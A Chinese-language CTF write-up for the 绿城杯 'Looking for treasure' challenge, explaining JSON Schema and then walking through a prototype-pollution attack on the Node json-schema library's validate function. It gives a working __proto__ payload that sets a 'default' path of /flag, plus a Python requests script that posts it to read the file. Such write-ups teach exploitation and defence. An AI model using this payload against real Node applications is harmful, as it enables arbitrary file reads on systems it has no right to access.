json_schema原型链污染(nodejs)

json_schema原型链污染

json_schema

json

json是表示javaScript对象表示法,是一种简单的数据交换格式,现在已经被运用于许多不涉及web环境中

json的数据结构

  1. object

    1
    {"key1":"value1","key2":"value2"}
  2. array

    1
    ["first","secode","third"]
  3. number

    1
    42
  4. string

    1
    "this is a string"
  5. boolean

    1
    2
    true
    false
  6. null

    1
    null

使用这些简单的数据类型可以表示各种结构化数据,以下为用json以不同的方式表示一个人的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "George Washington",
"birthday": "February 22, 1732",
"address": "Mount Vernon, Virginia, United States"
}

{
"first_name": "George",
"last_name": "Washington",
"birthday": "1732-02-22",
"address": {
"street_address": "3200 Mount Vernon Memorial Highway",
"city": "Mount Vernon",
"state": "Virginia",
"country": "United States"
}
}

而json_schema就是让应用程序知道该json记录的组织形式,下面就是上面json结构的数据用json_schema结构表达的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"type": "object",
"properties": {
"first_name": { "type": "string" },
"last_name": { "type": "string" },
"birthday": { "type": "string", "format": "date" },
"address": {
"type": "object",
"properties": {
"street_address": { "type": "string" },
"city": { "type": "string" },
"state": { "type": "string" },
"country": { "type" : "string" }
}
}
}
}

由以上例子,我们可以知道json_schema是用json编写的,它本身的数据,是描述其它数据结构的格式声明,而且会自动验证数据,但是由于json_schema不可以包含任意代码,数据元素之间的关系存在某些不能表达的约束,所以验证阶段有了两个级别,分别是schema级别和语义级别

json模式的规范

实例

1
表示应用于json模式的json文档

模式关键字

1
一个json模式必须是一个对象或布尔值,而应用于实例的对象属性则称为关键字或模式关键字

验证关键字

1
json模式可用于要求给定的实例满足一定数量的条件,而用于断言这些条件的关键字则被称为验证关键字

而验证关键字有很多种,这里主要注重对象的验证关键字的properties和additionalProperties

properties

此关键字的值必须是一个对象,这个对象中的每一个值都必须是一个有效的json模式,而且是用来验证对象实例中的子实例,而不是验证这个对象实例本身,对于同时出现在实例和作为该关键字的值中的名称的每个名称,该名称的子实例成功通过对应模式的验证

1
2
3
4
5
6
7
8
9
10
11
{
"type": "object",
"properties": {
"name": {
"type": "string"
},
"age": {
"type": "number"
}
}
}

additionalProperties

此关键字的值必须是一个有效的json模式或一个布尔值,用来验证对象实例中的子实例,而不是验证这个对象实例本身,而且只验证实例中名称即不匹配properties中的任何名,也不匹配patternProperties中的任何正则表达式的元素的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"type": "object",
"properties": {
"_name": {
"type": "string"
},
"age_": {
"type": "number"
},
"salary": {
"type": "number"
}
},
"required": [
"_name",
"age_"
],
"patternProperties": {
"^_": {
"minLength": 3
},
"_$": {
"multipleOf": 10
}
},
"additionalProperties": {
"type": ["string", "number"],
"enum": ['SQA', "R&D", "IMP"]
}
}

[json_schema详细][https://blog.csdn.net/swinfans/article/details/89231247]

实例(绿城杯Looking for treasure)

打开页面,查看页面源码,发现一个可疑点

1
/source.zip

可以得到config.js文件
config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
module.exports = function(app, fs, lodash){
app.get('/config', function(req, res, next) {
let config = res.locals.config;
let content = JSON.parse(fs.readFileSync(config.filepath).toString())
res.json(content);
});

app.post('/validated/:library?/:method?', function(req, res, next) {
let config = res.locals.config;
if (!req.params.library || req.params.library.match(/vm/i)|| req.params.library.match(/../i)|| req.params.library.match(/%2f/i)|| req.params.library.match(/%2F/i)|| req.params.library.match(/\//i)) req.params.library = "json-schema"
if (!req.params.method) req.params.method = "validate"

let json_library = require(req.params.library)
let valid = json_library[req.params.method](req.body)
if (!valid) {
res.send("validator failed");
return
}
let p;
if (config.path) {
p = config.path;
} else if (config.filepath) {
p = config.filepath;
} else {
p = "config.json"
}
let content = fs.readFileSync(p).toString()
try {
content = JSON.parse(content)
if (lodash.isEqual(req.body, content))
res.json(content)
else
res.send({ "validator": valid, "content" : content, "log": "wrong content"})
} catch {
res.send({ "validator": valid, "content" : content})
}
})
}

从源码中我们可以看见

1
req.params.library = "json-schema"

可以判断是json_schema,然后我们从上面可知道,json_schema会自动验证数据,所以我们下载json_schema的源码,然后看validate.js文件

validate.js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
/**
* JSONSchema Validator - Validates JavaScript objects using JSON Schemas
* (http://www.json.com/json-schema-proposal/)
* Licensed under AFL-2.1 OR BSD-3-Clause
To use the validator call the validate function with an instance object and an optional schema object.
If a schema is provided, it will be used to validate. If the instance object refers to a schema (self-validating),
that schema will be used to validate and the schema parameter is not necessary (if both exist,
both validations will occur).
The validate method will return an array of validation errors. If there are no errors, then an
empty list will be returned. A validation error will have two properties:
"property" which indicates which property had the error
"message" which indicates what the error was
*/
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define([], function () {
return factory();
});
} else if (typeof module === 'object' && module.exports) {
// Node. Does not work with strict CommonJS, but
// only CommonJS-like environments that support module.exports,
// like Node.
module.exports = factory();
} else {
// Browser globals
root.jsonSchema = factory();
}
}(this, function () {// setup primitive classes to be JSON Schema types
var exports = validate
exports.Integer = {type:"integer"};
var primitiveConstructors = {
String: String,
Boolean: Boolean,
Number: Number,
Object: Object,
Array: Array,
Date: Date
}
exports.validate = validate;
function validate(/*Any*/instance,/*Object*/schema) {
// Summary:
// To use the validator call JSONSchema.validate with an instance object and an optional schema object.
// If a schema is provided, it will be used to validate. If the instance object refers to a schema (self-validating),
// that schema will be used to validate and the schema parameter is not necessary (if both exist,
// both validations will occur).
// The validate method will return an object with two properties:
// valid: A boolean indicating if the instance is valid by the schema
// errors: An array of validation errors. If there are no errors, then an
// empty list will be returned. A validation error will have two properties:
// property: which indicates which property had the error
// message: which indicates what the error was
//
return validate(instance, schema, {changing: false});//, coerce: false, existingOnly: false});
};
exports.checkPropertyChange = function(/*Any*/value,/*Object*/schema, /*String*/property) {
// Summary:
// The checkPropertyChange method will check to see if an value can legally be in property with the given schema
// This is slightly different than the validate method in that it will fail if the schema is readonly and it will
// not check for self-validation, it is assumed that the passed in value is already internally valid.
// The checkPropertyChange method will return the same object type as validate, see JSONSchema.validate for
// information.
//
return validate(value, schema, {changing: property || "property"});
};
var validate = exports._validate = function(/*Any*/instance,/*Object*/schema,/*Object*/options) {

if (!options) options = {};
var _changing = options.changing;

function getType(schema){
return schema.type || (primitiveConstructors[schema.name] == schema && schema.name.toLowerCase());
}
var errors = [];
// validate a value against a property definition
function checkProp(value, schema, path,i){

var l;
path += path ? typeof i == 'number' ? '[' + i + ']' : typeof i == 'undefined' ? '' : '.' + i : i;
function addError(message){
errors.push({property:path,message:message});
}

if((typeof schema != 'object' || schema instanceof Array) && (path || typeof schema != 'function') && !(schema && getType(schema))){
if(typeof schema == 'function'){
if(!(value instanceof schema)){
addError("is not an instance of the class/constructor " + schema.name);
}
}else if(schema){
addError("Invalid schema/property definition " + schema);
}
return null;
}
if(_changing && schema.readonly){
addError("is a readonly field, it can not be changed");
}
if(schema['extends']){ // if it extends another schema, it must pass that schema as well
checkProp(value,schema['extends'],path,i);
}
// validate a value against a type definition
function checkType(type,value){
if(type){
if(typeof type == 'string' && type != 'any' &&
(type == 'null' ? value !== null : typeof value != type) &&
!(value instanceof Array && type == 'array') &&
!(value instanceof Date && type == 'date') &&
!(type == 'integer' && value%1===0)){
return [{property:path,message:value + " - " + (typeof value) + " value found, but a " + type + " is required"}];
}
if(type instanceof Array){
var unionErrors=[];
for(var j = 0; j < type.length; j++){ // a union type
if(!(unionErrors=checkType(type[j],value)).length){
break;
}
}
if(unionErrors.length){
return unionErrors;
}
}else if(typeof type == 'object'){
var priorErrors = errors;
errors = [];
checkProp(value,type,path);
var theseErrors = errors;
errors = priorErrors;
return theseErrors;
}
}
return [];
}
if(value === undefined){
if(schema.required){
addError("is missing and it is required");
}
}else{
errors = errors.concat(checkType(getType(schema),value));
if(schema.disallow && !checkType(schema.disallow,value).length){
addError(" disallowed value was matched");
}
if(value !== null){
if(value instanceof Array){
if(schema.items){
var itemsIsArray = schema.items instanceof Array;
var propDef = schema.items;
for (i = 0, l = value.length; i < l; i += 1) {
if (itemsIsArray)
propDef = schema.items[i];
if (options.coerce)
value[i] = options.coerce(value[i], propDef);
errors.concat(checkProp(value[i],propDef,path,i));
}
}
if(schema.minItems && value.length < schema.minItems){
addError("There must be a minimum of " + schema.minItems + " in the array");
}
if(schema.maxItems && value.length > schema.maxItems){
addError("There must be a maximum of " + schema.maxItems + " in the array");
}
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
if(schema.pattern && typeof value == 'string' && !value.match(schema.pattern)){
addError("does not match the regex pattern " + schema.pattern);
}
if(schema.maxLength && typeof value == 'string' && value.length > schema.maxLength){
addError("may only be " + schema.maxLength + " characters long");
}
if(schema.minLength && typeof value == 'string' && value.length < schema.minLength){
addError("must be at least " + schema.minLength + " characters long");
}
if(typeof schema.minimum !== 'undefined' && typeof value == typeof schema.minimum &&
schema.minimum > value){
addError("must have a minimum value of " + schema.minimum);
}
if(typeof schema.maximum !== 'undefined' && typeof value == typeof schema.maximum &&
schema.maximum < value){
addError("must have a maximum value of " + schema.maximum);
}
if(schema['enum']){
var enumer = schema['enum'];
l = enumer.length;
var found;
for(var j = 0; j < l; j++){
if(enumer[j]===value){
found=1;
break;
}
}
if(!found){
addError("does not have a value in the enumeration " + enumer.join(", "));
}
}
if(typeof schema.maxDecimal == 'number' &&
(value.toString().match(new RegExp("\\.[0-9]{" + (schema.maxDecimal + 1) + ",}")))){
addError("may only have " + schema.maxDecimal + " digits of decimal places");
}
}
}
return null;
}
// validate an object against a schema
function checkObj(instance,objTypeDef,path,additionalProp){

if(typeof objTypeDef =='object'){
if(typeof instance != 'object' || instance instanceof Array){
errors.push({property:path,message:"an object is required"});
}

for(var i in objTypeDef){
if(objTypeDef.hasOwnProperty(i)){
var value = instance[i];
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}
for(i in instance){
if(instance.hasOwnProperty(i) && !(i.charAt(0) == '_' && i.charAt(1) == '_') && objTypeDef && !objTypeDef[i] && additionalProp===false){
if (options.filter) {
delete instance[i];
continue;
} else {
errors.push({property:path,message:"The property " + i +
" is not defined in the schema and the schema does not allow additional properties"});
}
}
var requires = objTypeDef && objTypeDef[i] && objTypeDef[i].requires;
if(requires && !(requires in instance)){
errors.push({property:path,message:"the presence of the property " + i + " requires that " + requires + " also be present"});
}
value = instance[i];
if(additionalProp && (!(objTypeDef && typeof objTypeDef == 'object') || !(i in objTypeDef))){
if(options.coerce){
value = instance[i] = options.coerce(value, additionalProp);
}
checkProp(value,additionalProp,path,i);
}
if(!_changing && value && value.$schema){
errors = errors.concat(checkProp(value,value.$schema,path,i));
}
}
return errors;
}
if(schema){
checkProp(instance,schema,'',_changing || '');
}
if(!_changing && instance && instance.$schema){
checkProp(instance,instance.$schema,'','');
}
return {valid:!errors.length,errors:errors};
};
exports.mustBeValid = function(result){
// summary:
// This checks to ensure that the result is valid and will throw an appropriate error message if it is not
// result: the result returned from checkPropertyChange or validate
if(!result.valid){
throw new TypeError(result.errors.map(function(error){return "for property " + error.property + ': ' + error.message;}).join(", \n"));
}
}

return exports;
}));

从json_schema数据结构,我们可以知道,它首先会调用checkType()函数来验证Type字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
	function checkType(type,value){
if(type){
if(typeof type == 'string' && type != 'any' &&
(type == 'null' ? value !== null : typeof value != type) &&
!(value instanceof Array && type == 'array') &&
!(value instanceof Date && type == 'date') &&
!(type == 'integer' && value%1===0)){
return [{property:path,message:value + " - " + (typeof value) + " value found, but a " + type + " is required"}];
}
if(type instanceof Array){
var unionErrors=[];
for(var j = 0; j < type.length; j++){ // a union type
if(!(unionErrors=checkType(type[j],value)).length){
break;
}
}
if(unionErrors.length){
return unionErrors;
}
}else if(typeof type == 'object'){
var priorErrors = errors;
errors = [];
checkProp(value,type,path);
var theseErrors = errors;
errors = priorErrors;
return theseErrors;
}
}
return [];
}
if(value === undefined){
if(schema.required){
addError("is missing and it is required");
}
}else{
errors = errors.concat(checkType(getType(schema),value));
if(schema.disallow && !checkType(schema.disallow,value).length){
addError(" disallowed value was matched");
}
if(value !== null){
if(value instanceof Array){
if(schema.items){
var itemsIsArray = schema.items instanceof Array;
var propDef = schema.items;
for (i = 0, l = value.length; i < l; i += 1) {
if (itemsIsArray)
propDef = schema.items[i];
if (options.coerce)
value[i] = options.coerce(value[i], propDef);
errors.concat(checkProp(value[i],propDef,path,i));
}
}
if(schema.minItems && value.length < schema.minItems){
addError("There must be a minimum of " + schema.minItems + " in the array");
}
if(schema.maxItems && value.length > schema.maxItems){
addError("There must be a maximum of " + schema.maxItems + " in the array");
}
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
if(schema.pattern && typeof value == 'string' && !value.match(schema.pattern)){
addError("does not match the regex pattern " + schema.pattern);
}
if(schema.maxLength && typeof value == 'string' && value.length > schema.maxLength){
addError("may only be " + schema.maxLength + " characters long");
}
if(schema.minLength && typeof value == 'string' && value.length < schema.minLength){
addError("must be at least " + schema.minLength + " characters long");
}
if(typeof schema.minimum !== 'undefined' && typeof value == typeof schema.minimum &&
schema.minimum > value){
addError("must have a minimum value of " + schema.minimum);
}
if(typeof schema.maximum !== 'undefined' && typeof value == typeof schema.maximum &&
schema.maximum < value){
addError("must have a maximum value of " + schema.maximum);
}
if(schema['enum']){
var enumer = schema['enum'];
l = enumer.length;
var found;
for(var j = 0; j < l; j++){
if(enumer[j]===value){
found=1;
break;
}
}
if(!found){
addError("does not have a value in the enumeration " + enumer.join(", "));
}
}
if(typeof schema.maxDecimal == 'number' &&
(value.toString().match(new RegExp("\\.[0-9]{" + (schema.maxDecimal + 1) + ",}")))){
addError("may only have " + schema.maxDecimal + " digits of decimal places");
}
}
}
return null;
}

由于我们的目的是将checkObj函数中的propDef[‘default’]修改为/flag,造成原型链的污染

1
2
3
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}

而在checkType()函数中,如果要执行checkObj()函数,要满足

1
2
3
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}

所以其中

1
2
3
4
5
value = {"$schema": {"properties": {"__proto__": {"properties": {"path":
{"default": "/flag"}}}}}}

schema.properties = {"__proto__": {"properties": {"path": {"default":
"/flag"}}}}

而它循环进入checkProp函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
	for(var i in objTypeDef){ 
if(objTypeDef.hasOwnProperty(i)){
var value = instance[i];
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}

然后经过

1
for(var i in objTypeDef)

再次进入checkObj函数,此时传入参数为

1
2
3
value = prototype
schema.properties = {"path": {"default": "/flag"}}
path = "__proto__"

此时的value参数已经被指向Function.prototype,再次在这里进行赋值时,instance此时指向Function.prototype,参数i为path,即被propDef[‘default’]修改为/flag,造成原型链污染

其中__proto__的属性来读取或设置当前对象的prototype对象的,目前所有浏览器都有这个属性

所以我们最后进行原型链污染后,可以通过config.js文件中的

1
let content = fs.readFileSync(p).toString()

来读取,所以最后post提交

1
2
 {"$schema": {"properties": {"__proto__": {"properties":
{"path": {"default": "/flag"}}}}}}

借用了大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = ""
flag = r"DASCTF{"
def sol():
try:
print(url+"validated/")
data = {"$schema": {"properties": {"__proto__": {"properties":
{"path": {"default": "/flag"}}}}}}
print(data)
r = requests.post(url=url+"validated/", json=data, timeout=10)
print(r.text)
if flag in r.text:
return True
else:
return False
except Exception as e:
return False

sol()

就可以读取flag了

参考文章:[https://www.cnblogs.com/zyh-code/p/10970110.html]